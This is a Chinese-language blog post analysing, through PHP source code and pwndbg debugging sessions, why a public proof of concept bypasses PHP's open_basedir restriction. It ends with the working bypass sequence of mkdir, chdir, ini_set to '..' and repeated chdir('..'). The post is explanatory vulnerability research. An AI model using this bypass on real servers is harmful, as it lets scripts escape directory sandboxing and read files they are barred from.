Sky's blog

从PHP底层看open_basedir bypass

字数统计: 1,878阅读时长: 9 min
2019/04/12 Share

前言


有国外的大佬近日公开了一个php open_basedir bypass的poc,正好最近在看php底层,于是打算分析一下。

poc测试

首先测试一下:

我们用如上源码进行测试,首先设置open_basedir目录为/tmp目录,再尝试用ini_set设置open_basedir则无效果,我们对根目录进行列目录,发现无效,返回bool(false)。
我们再尝试一下该国外大佬的poc

发现可以成功列举根目录,bypass open_basedir。
那么为什么一系列操作后,就可以重设open_basedir了呢?我们一步一步从头探索。

ini_set覆盖问题探索

为什么连续使用ini_set不会对open_basedir进行覆盖呢?我们以如下代码为例:

1
2
3
4
5
6
7
8
<?php
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/tmp');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '..');
var_dump(ini_get('open_basedir'));

运行后结果如下

1
2
3
4
string(0) ""
string(4) "/tmp"
string(4) "/tmp"
string(4) "/tmp"

默认的open_basedir值本来是空,第一次设置成/tmp后,以为设置将不会覆盖。
我们来探索一下原因。首先找到php函数对应的底层函数:

1
2
ini_get : PHP_FUNCTION(ini_get)
ini_set : PHP_FUNCTION(ini_set)

这里我们主要看的是ini_set的流程,ini_get作为信息输出函数,我们不太关心
我们先对ini_set下断点,然后再run程序

1
2
b /php7.0-src/ext/standard/basic_functions.c 5350
r c.php

程序跑起来后,首先是3个初始值

1
2
3
zend_string *varname;
zend_string *new_value;
char *old_value;

然后进入词法分析,得到3个变量值

1
2
3
if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &varname, &new_value) == FAILURE) {
return;
}

我们可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> p *varname
$45 = {
gc = {
refcount = 0,
u = {
v = {
type = 6 '\006',
flags = 2 '\002',
gc_info = 0
},
type_info = 518
}
},
h = 15582417252668088432,
len = 12,
val = "o"
}

这是zend_string的结构体,也是php7的新增结构:

1
2
3
4
5
6
struct _zend_string {
zend_refcounted_h gc; /*gc信息*/
zend_ulong h; /* hash value */
size_t len; /*字符串长度*/
char val[1]; /*字符串起始地址*/
};

我们可以看到varname.val为:

1
2
3
4
pwndbg> p &varname.val
$46 = (char (*)[1]) 0x7ffff7064978
pwndbg> x/s $46
0x7ffff7064978: "open_basedir"

然后new_value.val为:

1
2
3
4
pwndbg> p &new_value.val
$48 = (char (*)[1]) 0x7ffff7058ad8
pwndbg> x/s $48
0x7ffff7058ad8: "/tmp"

即我们最开始传入的两个参数。
然后程序拿到原来的open_basedir的value:


然后会进入php_ini_check_path

由于第一次没有设置过open_basedir,所以直接跳出判断,进入下一步

1
2
3
4
if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
zval_dtor(return_value);
RETURN_FALSE;
}

我们跟进FAILURE,找到定义

1
2
3
4
typedef enum {
SUCCESS = 0,
FAILURE = -1, /* this MUST stay a negative number, or it may affect functions! */
} ZEND_RESULT_CODE;

当zend_alter_ini_entry_ex的返回值不为-1时,即代表更新成功,否则则会进入if,返回false
而经过比对发现:第一次设置open_basedir和第二次设置时候,正是这里的返回值不一样,第一次设置时,这里为SUCCESS,即0,而第二次设置为FAILURE,即-1,我们跟入zend_alter_ini_entry_ex进行比对:

1
b /php7.0-src/Zend/zend_ini.c:330

发现两次不同的点在于如下判断:

1
2
if (!ini_entry->on_modify
|| ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS)

第一次时:

1
2
ini_entry->on_modify = 0x5d046e <OnUpdateBaseDir>
ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = 0

第二次时:

1
2
ini_entry->on_modify :0x5d046e <OnUpdateBaseDir>
ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = -1

可以确定是on_modify,那么我们单步跟进,到达

1
PHPAPI ZEND_INI_MH(OnUpdateBaseDir)

发现在进行如下操作时,返回FAILURE:

1
2
3
4
5
if (php_check_open_basedir_ex(ptr, 0) != 0) {
/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */
efree(pathbuf);
return FAILURE;
}

正是php_check_open_basedir_ex()未通过才导致我们ini_set失败,而第一次的时候,这里是通过的。
所以最后的问题落在php_check_open_basedir_ex上,如果想要利用ini_set覆盖之前的open_basedir,那么必须通过该校验。

php_check_open_basedir_ex

找到切入点后,后面就是进行分析,看如何bypass php_check_open_basedir_ex
我们源码跟进这个函数

1
2
3
4
5
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}

1
2
#define MAXPATHLEN      PATH_MAX
#define PATH_MAX 1024 /* max bytes in pathname */

首先判断路径是否过长,是否超过1023。
然后是另一个校验函数

1
2
3
4
if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);
return 0;
}

跟进后,该函数首先进行了操作

1
2
3
4
if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) {
/* Else use the unmodified path */
strlcpy(local_open_basedir, basedir, sizeof(local_open_basedir));
}

比对当前目录,并赋值给local_open_basedir,然后继续看目录名长度是否合法

1
2
3
4
5
path_len = strlen(path);
if (path_len > (MAXPATHLEN - 1)) {
/* empty and too long paths are invalid */
return -1;
}

然后进入操作

1
2
3
4
5
6
7
8
if (expand_filepath(path, resolved_name) == NULL) {
return -1;
}

PHPAPI char *expand_filepath(const char *filepath, char *real_path)
{
return expand_filepath_ex(filepath, real_path, NULL, 0);
}

将传入的path,用绝对路径保存在resolved_name。
然后操作继续进入判断

1
if (expand_filepath(local_open_basedir, resolved_basedir) != NULL)

将local_open_basedir的值存放于resolved_basedir。用于后面的比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) 
{
if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {return -1;}
else {
/* File is in the right directory */
return 0;
}
}
else {
/* /openbasedir/ and /openbasedir are the same directory */
if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR)
{
if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0)
{
if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0)
{
return 0;
}
}
return -1;
}
}

上述操作正是在匹配路径是否是open_basedir规定的路径。
那么不难发现,可控点应该就要追溯到之前的

1
expand_filepath()

因为关键路径resolved_nameresolved_basedir均由这个函数生成。
所以要bypass php_check_open_basedir_ex的关键,在于bypass expand_filepath()。其获取到的path才是真正用来比对的path。

expand_filepath()

我们跟进至:

1
2
3
4
PHPAPI char *expand_filepath(const char *filepath, char *real_path)
{
return expand_filepath_ex(filepath, real_path, NULL, 0);
}

继续跟expand_filepath_ex:

1
2
3
4
PHPAPI char *expand_filepath_ex(const char *filepath, char *real_path, const char *relative_to, size_t relative_to_len)
{
return expand_filepath_with_mode(filepath, real_path, relative_to, relative_to_len, CWD_FILEPATH);
}

再跟expand_filepath_with_mode,来到关键操作位置

1
2
3
4
if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {
efree(new_state.cwd);
return NULL;
}

跟入virtual_file_ex得到关键语句:

1
2
3
4
5
6
7
8
9
10
11
if (!IS_ABSOLUTE_PATH(path, path_length)) {
if (state->cwd_length == 0) {
/* resolve relative path */
start = 0;
memcpy(resolved_path , path, path_length + 1);
} else {
int state_cwd_length = state->cwd_length;
......
state->cwd_length = path_length;
......
memcpy(state->cwd, resolved_path, state->cwd_length+1);

即目录拼接操作,如果path不是绝对路径,同时state->cwd长度为0,那么直接将path作为绝对路径,保存在resolved_path。否则则在state->cwd后拼接。
那么可以落点于path_length,这决定了我们拼接的长度

1
path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);

跟进tsrm_realpath_r,不难发现主要操作用于

1
2
remove double slashes and '.'
remove '..' and previous directory

那么最后可以总结expand_filepath()全身心的投入在相对路径和绝对路径,没有考虑open_basedir如果为相对路径会实时变化的问题。

总结

所以最后的bypass poc也变得非常清楚:
首先需要构造一个相对可上跳的open_basedir

1
2
3
mkdir('sky');
chdir('sky');
ini_set('open_basedir','..');

这也是为什么要先创文件夹的原因,就是为了在当前目录构造可以..的ini_set
然后每次目录操作

1
chdir('..');

都会进行一次open_basedir的比对,即php_check_open_basedir_ex。由于相对路径的问题,每次open_basedir的补全都会上跳。
比如初试open_basedir为/a/b/c/d
第一次chdir后变为/a/b/c,
第二次chdir后变为/a/b,
第三次chdir后变为/a,
第四次chdir后变为/,
那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。

后记

这个poc还是很巧妙的,重点在于构造出相对路径的open_basedir,再触发其进行上跳!

1
文章首发于嘶吼
点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. poc测试
  3. 3. ini_set覆盖问题探索
  4. 4. php_check_open_basedir_ex
  5. 5. expand_filepath()
  6. 6. 总结
  7. 7. 后记